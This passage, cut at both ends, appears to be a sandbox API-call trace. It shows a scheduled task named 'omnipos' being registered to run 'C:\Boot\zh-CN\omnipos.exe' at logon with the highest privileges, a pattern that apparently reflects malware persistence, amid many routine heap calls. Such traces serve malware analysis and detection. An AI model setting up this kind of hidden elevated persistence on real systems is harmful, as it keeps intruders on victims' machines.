_Size=0x7) returned 0 [0090.620] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0090.620] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0090.620] GetProcessHeap () returned 0x350000 [0090.620] GetProcessHeap () returned 0x350000 [0090.620] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d680) returned 1 [0090.620] GetProcessHeap () returned 0x350000 [0090.620] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d680) returned 0x10 [0090.620] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d680 | out: hHeap=0x350000) returned 1 [0090.620] GetProcessHeap () returned 0x350000 [0090.620] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x16) returned 0x36d680 [0090.621] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1dc720, cchData=128 | out: lpLCData="0") returned 2 [0090.621] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.621] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0090.621] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0090.621] GetProcessHeap () returned 0x350000 [0090.621] GetProcessHeap () returned 0x350000 [0090.621] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d6a0) returned 1 [0090.621] GetProcessHeap () returned 0x350000 [0090.621] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d6a0) returned 0x10 [0090.621] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d6a0 | out: hHeap=0x350000) returned 1 [0090.621] GetProcessHeap () returned 0x350000 [0090.621] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x16) returned 0x36d6a0 [0090.621] GetLocalTime (in: lpSystemTime=0x1dc950 | out: lpSystemTime=0x1dc950*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xe, wMilliseconds=0x3c6)) [0090.621] GetLocalTime (in: lpSystemTime=0x1dd208 | out: lpSystemTime=0x1dd208*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xe, wMilliseconds=0x3c6)) [0090.621] lstrlenW (lpString="") returned 0 [0090.621] lstrlenW (lpString="") returned 0 [0090.621] lstrlenW (lpString="") returned 0 [0090.621] lstrlenW (lpString="") returned 0 [0090.621] lstrlenW (lpString="") returned 0 [0090.621] lstrlenW (lpString="") returned 0 [0090.621] lstrlenW (lpString="") returned 0 [0090.622] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0090.663] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0090.709] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1dcfd0 | out: ppv=0x1dcfd0*=0x647b60) returned 0x0 [0090.719] TaskScheduler:ITaskService:Connect (This=0x647b60, serverName=0x1dd0b0*(varType=0x8, wReserved1=0x1d, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1dd070*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1dd090*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1dd050*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0090.802] TaskScheduler:IUnknown:AddRef (This=0x647b60) returned 0x2 [0090.802] TaskScheduler:ITaskService:GetFolder (in: This=0x647b60, Path=0x0, ppFolder=0x1dd168 | out: ppFolder=0x1dd168*=0x1edf30) returned 0x0 [0090.808] TaskScheduler:ITaskService:NewTask (in: This=0x647b60, flags=0x0, ppDefinition=0x1dd160 | out: ppDefinition=0x1dd160*=0x647d20) returned 0x0 [0090.808] ITaskDefinition:get_Actions (in: This=0x647d20, ppActions=0x1dd0e0 | out: ppActions=0x1dd0e0*=0x647de0) returned 0x0 [0090.808] IActionCollection:Create (in: This=0x647de0, Type=0, ppAction=0x1dd100 | out: ppAction=0x1dd100*=0x6461a0) returned 0x0 [0090.808] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0090.808] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0090.808] lstrlenW (lpString=" ") returned 1 [0090.809] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x7a) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x4e) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0090.809] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0090.810] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0090.810] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0090.810] IUnknown:Release (This=0x6461a0) returned 0x1 [0090.810] IUnknown:Release (This=0x647de0) returned 0x1 [0090.810] ITaskDefinition:get_Triggers (in: This=0x647d20, ppTriggers=0x1dcc60 | out: ppTriggers=0x1dcc60*=0x647f20) returned 0x0 [0090.810] ITriggerCollection:Create (in: This=0x647f20, Type=9, ppTrigger=0x1dcc58 | out: ppTrigger=0x1dcc58*=0x646210) returned 0x0 [0090.810] IUnknown:QueryInterface (in: This=0x646210, riid=0xff901c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x1dcc50 | out: ppvObject=0x1dcc50*=0x646210) returned 0x0 [0090.810] IUnknown:Release (This=0x646210) returned 0x2 [0090.810] _vsnwprintf (in: _Buffer=0x1dcba0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1dcb78 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0090.811] ITrigger:put_StartBoundary (This=0x646210, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0090.811] lstrlenW (lpString="") returned 0 [0090.811] lstrlenW (lpString="") returned 0 [0090.811] lstrlenW (lpString="") returned 0 [0090.811] lstrlenW (lpString="") returned 0 [0090.811] IUnknown:Release (This=0x646210) returned 0x1 [0090.811] IUnknown:Release (This=0x647f20) returned 0x1 [0090.811] ITaskDefinition:get_Settings (in: This=0x647d20, ppSettings=0x1dd100 | out: ppSettings=0x1dd100*=0x645f80) returned 0x0 [0090.811] lstrlenW (lpString="") returned 0 [0090.811] IUnknown:Release (This=0x645f80) returned 0x1 [0090.811] GetLocalTime (in: lpSystemTime=0x1dcfb8 | out: lpSystemTime=0x1dcfb8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xf, wMilliseconds=0x99)) [0090.811] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0090.812] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0090.812] GetUserNameW (in: lpBuffer=0x1dcfe0, pcbBuffer=0x1dcfc8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1dcfc8) returned 1 [0090.812] ITaskDefinition:get_RegistrationInfo (in: This=0x647d20, ppRegistrationInfo=0x1dcfb0 | out: ppRegistrationInfo=0x1dcfb0*=0x647e60) returned 0x0 [0090.812] IRegistrationInfo:put_Author (This=0x647e60, Author="") returned 0x0 [0090.813] _vsnwprintf (in: _Buffer=0x1dcfe0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1dcf78 | out: _Buffer="2023-09-19T17:17:15") returned 19 [0090.813] IRegistrationInfo:put_Date (This=0x647e60, Date="") returned 0x0 [0090.813] IUnknown:Release (This=0x647e60) returned 0x1 [0090.813] malloc (_Size=0x18) returned 0x647fb0 [0090.813] free (_Block=0x647fb0) [0090.813] lstrlenW (lpString="") returned 0 [0090.813] ITaskDefinition:get_Principal (in: This=0x647d20, ppPrincipal=0x1dd1d0 | out: ppPrincipal=0x1dd1d0*=0x6460f0) returned 0x0 [0090.813] IPrincipal:put_RunLevel (This=0x6460f0, RunLevel=1) returned 0x0 [0090.813] IUnknown:Release (This=0x6460f0) returned 0x1 [0090.813] malloc (_Size=0x18) returned 0x647fb0 [0090.814] ITaskFolder:RegisterTaskDefinition (in: This=0x1edf30, Path="omnipos", pDefinition=0x647d20, flags=6, UserId=0x1dd250*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1dd290*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1df160, varVal2=0xfe), LogonType=3, sddl=0x1dd270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1dd170 | out: ppTask=0x1dd170*=0x646480) returned 0x0 [0091.256] free (_Block=0x647fb0) [0091.256] _memicmp (_Buf1=0x36bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.257] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x36d3c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0091.257] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0091.257] GetProcessHeap () returned 0x350000 [0091.257] GetProcessHeap () returned 0x350000 [0091.257] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d6c0) returned 1 [0091.257] GetProcessHeap () returned 0x350000 [0091.257] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d6c0) returned 0xe [0091.257] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d6c0 | out: hHeap=0x350000) returned 1 [0091.257] GetProcessHeap () returned 0x350000 [0091.257] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x82) returned 0x389a10 [0091.257] _vsnwprintf (in: _Buffer=0x1dd8b0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1dd118 | out: _Buffer="SUCCESS: The scheduled task \"omnipos\" has successfully been created.\n") returned 69 [0091.257] _fileno (_File=0x7feffe22ab0) returned -2 [0091.257] _errno () returned 0x644bb0 [0091.257] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0091.258] SetLastError (dwErrCode=0x6) [0091.258] lstrlenW (lpString="SUCCESS: The scheduled task \"omnipos\" has successfully been created.\n") returned 69 [0091.258] GetConsoleOutputCP () returned 0x0 [0091.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omnipos\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0091.258] GetConsoleOutputCP () returned 0x0 [0091.258] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omnipos\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"omnipos\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0091.258] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 69 [0091.258] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0091.258] IUnknown:Release (This=0x646480) returned 0x0 [0091.258] TaskScheduler:IUnknown:Release (This=0x647d20) returned 0x0 [0091.259] TaskScheduler:IUnknown:Release (This=0x1edf30) returned 0x0 [0091.259] TaskScheduler:IUnknown:Release (This=0x647b60) returned 0x1 [0091.259] lstrlenW (lpString="") returned 0 [0091.259] GetProcessHeap () returned 0x350000 [0091.259] GetProcessHeap () returned 0x350000 [0091.259] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c430) returned 1 [0091.259] GetProcessHeap () returned 0x350000 [0091.259] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36c430) returned 0x1fc [0091.260] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c430 | out: hHeap=0x350000) returned 1 [0091.260] GetProcessHeap () returned 0x350000 [0091.260] GetProcessHeap () returned 0x350000 [0091.260] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d640) returned 1 [0091.260] GetProcessHeap () returned 0x350000 [0091.260] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d640) returned 0x16 [0091.261] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d640 | out: hHeap=0x350000) returned 1 [0091.261] GetProcessHeap () returned 0x350000 [0091.261] GetProcessHeap () returned 0x350000 [0091.261] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d620) returned 1 [0091.261] GetProcessHeap () returned 0x350000 [0091.261] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d620) returned 0x18 [0091.261] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d620 | out: hHeap=0x350000) returned 1 [0091.261] GetProcessHeap () returned 0x350000 [0091.261] GetProcessHeap () returned 0x350000 [0091.261] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce90) returned 1 [0091.261] GetProcessHeap () returned 0x350000 [0091.261] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36ce90) returned 0x20 [0091.261] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ce90 | out: hHeap=0x350000) returned 1 [0091.261] GetProcessHeap () returned 0x350000 [0091.261] GetProcessHeap () returned 0x350000 [0091.262] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c110) returned 1 [0091.262] GetProcessHeap () returned 0x350000 [0091.262] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36c110) returned 0xa0 [0091.262] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c110 | out: hHeap=0x350000) returned 1 [0091.262] GetProcessHeap () returned 0x350000 [0091.262] GetProcessHeap () returned 0x350000 [0091.262] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36bb90) returned 1 [0091.262] GetProcessHeap () returned 0x350000 [0091.262] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36bb90) returned 0x18 [0091.262] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36bb90 | out: hHeap=0x350000) returned 1 [0091.262] GetProcessHeap () returned 0x350000 [0091.262] GetProcessHeap () returned 0x350000 [0091.262] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cc50) returned 1 [0091.262] GetProcessHeap () returned 0x350000 [0091.262] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cc50) returned 0x20 [0091.263] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cc50 | out: hHeap=0x350000) returned 1 [0091.263] GetProcessHeap () returned 0x350000 [0091.263] GetProcessHeap () returned 0x350000 [0091.263] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x367c00) returned 1 [0091.263] GetProcessHeap () returned 0x350000 [0091.263] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x367c00) returned 0x38 [0091.264] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x367c00 | out: hHeap=0x350000) returned 1 [0091.264] GetProcessHeap () returned 0x350000 [0091.264] GetProcessHeap () returned 0x350000 [0091.264] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d660) returned 1 [0091.264] GetProcessHeap () returned 0x350000 [0091.264] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d660) returned 0x18 [0091.264] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d660 | out: hHeap=0x350000) returned 1 [0091.264] GetProcessHeap () returned 0x350000 [0091.265] GetProcessHeap () returned 0x350000 [0091.265] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cc20) returned 1 [0091.265] GetProcessHeap () returned 0x350000 [0091.265] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cc20) returned 0x20 [0091.265] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cc20 | out: hHeap=0x350000) returned 1 [0091.266] GetProcessHeap () returned 0x350000 [0091.266] GetProcessHeap () returned 0x350000 [0091.266] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x369430) returned 1 [0091.266] GetProcessHeap () returned 0x350000 [0091.266] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x369430) returned 0x3a [0091.266] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x369430 | out: hHeap=0x350000) returned 1 [0091.266] GetProcessHeap () returned 0x350000 [0091.267] GetProcessHeap () returned 0x350000 [0091.267] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d600) returned 1 [0091.267] GetProcessHeap () returned 0x350000 [0091.267] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d600) returned 0x18 [0091.267] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d600 | out: hHeap=0x350000) returned 1 [0091.267] GetProcessHeap () returned 0x350000 [0091.267] GetProcessHeap () returned 0x350000 [0091.267] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36cbf0) returned 1 [0091.267] GetProcessHeap () returned 0x350000 [0091.267] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cbf0) returned 0x20 [0091.268] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36cbf0 | out: hHeap=0x350000) returned 1 [0091.268] GetProcessHeap () returned 0x350000 [0091.268] GetProcessHeap () returned 0x350000 [0091.268] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c410) returned 1 [0091.268] GetProcessHeap () returned 0x350000 [0091.268] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36c410) returned 0xe [0091.268] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c410 | out: hHeap=0x350000) returned 1 [0091.268] GetProcessHeap () returned 0x350000 [0091.268] GetProcessHeap () returned 0x350000 [0091.268] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c3f0) returned 1 [0091.268] GetProcessHeap () returned 0x350000 [0091.269] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36c3f0) returned 0x18 [0091.269] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c3f0 | out: hHeap=0x350000) returned 1 [0091.269] GetProcessHeap () returned 0x350000 [0091.269] GetProcessHeap () returned 0x350000 [0091.269] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365e10) returned 1 [0091.269] GetProcessHeap () returned 0x350000 [0091.269] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365e10) returned 0x20 [0091.269] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365e10 | out: hHeap=0x350000) returned 1 [0091.269] GetProcessHeap () returned 0x350000 [0091.269] GetProcessHeap () returned 0x350000 [0091.269] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36bd10) returned 1 [0091.269] GetProcessHeap () returned 0x350000 [0091.269] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36bd10) returned 0x208 [0091.270] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36bd10 | out: hHeap=0x350000) returned 1 [0091.270] GetProcessHeap () returned 0x350000 [0091.270] GetProcessHeap () returned 0x350000 [0091.270] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36bb70) returned 1 [0091.270] GetProcessHeap () returned 0x350000 [0091.270] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36bb70) returned 0x18 [0091.270] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36bb70 | out: hHeap=0x350000) returned 1 [0091.270] GetProcessHeap () returned 0x350000 [0091.270] GetProcessHeap () returned 0x350000 [0091.270] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365d20) returned 1 [0091.270] GetProcessHeap () returned 0x350000 [0091.270] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365d20) returned 0x20 [0091.271] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365d20 | out: hHeap=0x350000) returned 1 [0091.271] GetProcessHeap () returned 0x350000 [0091.271] GetProcessHeap () returned 0x350000 [0091.271] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36d3c0) returned 1 [0091.271] GetProcessHeap () returned 0x350000 [0091.271] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d3c0) returned 0x200 [0091.271] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36d3c0 | out: hHeap=0x350000) returned 1 [0091.271] GetProcessHeap () returned 0x350000 [0091.271] GetProcessHeap () returned 0x350000 [0091.271] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36bbb0) returned 1 [0091.271] GetProcessHeap () returned 0x350000 [0091.271] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36bbb0) returned 0x18 [0091.271] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36bbb0 | out: hHeap=0x350000) returned 1 [0091.271] GetProcessHeap () returned 0x350000 [0091.271] GetProcessHeap () returned 0x350000 [0091.271] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365c90) returned 1 [0091.271] GetProcessHeap () returned 0x350000 [0091.271] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365c90) returned 0x20 [0091.272] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365c90 | out: hHeap=0x350000) returned 1 [0091.272] GetProcessHeap () returned 0x350000 [0091.272] GetProcessHeap () returned 0x350000 [0091.272] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c320) returned 1 [0091.272] GetProcessHeap () returned 0x350000 [0091.272] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36c320) returned 0x14 [0091.272] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c320 | out: hHeap=0x350000) returned 1 [0091.272] GetProcessHeap () returned 0x350000 [0091.272] GetProcessHeap () returned 0x350000 [0091.272] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c300) returned 1 [0091.272] GetProcessHeap () returned 0x350000 [0091.272] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36c300) returned 0x18 [0091.272] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c300 | out: hHeap=0x350000) returned 1 [0091.272] GetProcessHeap () returned 0x350000 [0091.272] GetProcessHeap () returned 0x350000 [0091.272] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365bd0) returned 1 [0091.272] GetProcessHeap () returned 0x350000 [0091.272] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365bd0) returned 0x20 [0091.273] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365bd0 | out: hHeap=0x350000) returned 1 [0091.273] GetProcessHeap () returned 0x350000 [0091.273] GetProcessHeap () returned 0x350000 [0091.273] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c340) returned 1 [0091.273] GetProcessHeap () returned 0x350000 [0091.273] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36c340) returned 0x16 [0091.273] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c340 | out: hHeap=0x350000) returned 1 [0091.273] GetProcessHeap () returned 0x350000 [0091.273] GetProcessHeap () returned 0x350000 [0091.273] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36c1c0) returned 1 [0091.273] GetProcessHeap () returned 0x350000 [0091.273] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36c1c0) returned 0x18 [0091.273] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c1c0 | out: hHeap=0x350000) returned 1 [0091.273] GetProcessHeap () returned 0x350000 [0091.273] GetProcessHeap () returned 0x350000 [0091.273] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365ba0) returned 1 [0091.273] GetProcessHeap () returned 0x350000 [0091.273] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365ba0) returned 0x20 [0091.274] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365ba0 | out: hHeap=0x350000) returned 1 [0091.274] GetProcessHeap () returned 0x350000 [0091.274] GetProcessHeap () returned 0x350000 [0091.274] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36baf0) returned 1 [0091.274] GetProcessHeap () returned 0x350000 [0091.274] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36baf0) returned 0x2 [0091.274] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36baf0 | out: hHeap=0x350000) returned 1 [0091.274] GetProcessHeap () returned 0x350000 [0091.274] GetProcessHeap () returned 0x350000 [0091.274] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x3659f0) returned 1 [0091.274] GetProcessHeap () returned 0x350000 [0091.274] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x3659f0) returned 0x20 [0091.274] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x3659f0 | out: hHeap=0x350000) returned 1 [0091.274] GetProcessHeap () returned 0x350000 [0091.275] GetProcessHeap () returned 0x350000 [0091.275] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365a20) returned 1 [0091.275] GetProcessHeap () returned 0x350000 [0091.275] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365a20) returned 0x20 [0091.275] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365a20 | out: hHeap=0x350000) returned 1 [0091.275] GetProcessHeap () returned 0x350000 [0091.275] GetProcessHeap () returned 0x350000 [0091.275] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x365a50) returned 1 [0091.275] GetProcessHeap () returned 0x350000 [0091.275] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x365a50) 